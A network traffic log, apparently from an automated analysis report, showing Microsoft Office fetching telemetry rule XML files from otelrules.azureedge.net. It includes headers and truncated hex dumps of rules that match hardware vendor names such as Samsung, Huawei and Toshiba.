2024-11-15 08:55:15 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:15 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: e44b56bd-701e-0053-1778-353a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085515Z-1866b5c5fbbzcdbqhC1DFW3r34000000013g00000000ay9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:15 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:15 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:15 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:15 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 1e45a1cf-401e-0029-3ef1-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085515Z-16547b76f7fwvr5dhC1DFW2c940000000mqg00000000gk2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:15 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:15 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:15 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:15 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085515Z-1866b5c5fbb2t6txhC1DFWa2qc00000000y000000000e1qp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:15 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:16 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:16 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:16 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 383c7f00-901e-008f-5aa8-3667a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085516Z-16547b76f7fhvzzthC1DFW557000000001700000000037f1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:16 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:16 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:16 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:16 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 7a46749c-d01e-002b-4a9c-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085516Z-164f84587bfsgfx9hC1DFWw1as00000000wg00000000bkd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:16 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:16 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:16 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:16 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 747bfeb3-801e-00ac-34fa-36fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085516Z-164f84587bf7jb9dhC1DFWkay400000000n000000000bumh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:16 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:16 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:16 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:16 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 584cc2e3-301e-005d-1eab-36e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085516Z-16547b76f7fwvr5dhC1DFW2c940000000mxg000000000d06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:16 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:16 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:16 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:16 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30a84257-201e-006e-3afb-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085516Z-1866b5c5fbb5hnj5hC1DFW18sc00000001a0000000001ag6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:17 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:17 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:17 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 7cdefebb-b01e-0070-2ca7-341cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085517Z-164f84587bfbvgrghC1DFWbs7w00000000zg00000000687p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-15 08:55:17 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:17 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:17 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:17 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085517Z-16547b76f7f7rtshhC1DFWrtqn0000000mxg000000008ehq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:17 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:17 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:17 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 2e60cfa9-601e-005c-390f-36f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085517Z-1866b5c5fbbsqznnhC1DFWg28g00000001b0000000001wpx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:17 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 08:55:17 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 08:55:17 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 08:55:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T085517Z-16547b76f7f7rtshhC1DFWrtqn0000000mw000000000bxb1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 08:55:17 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
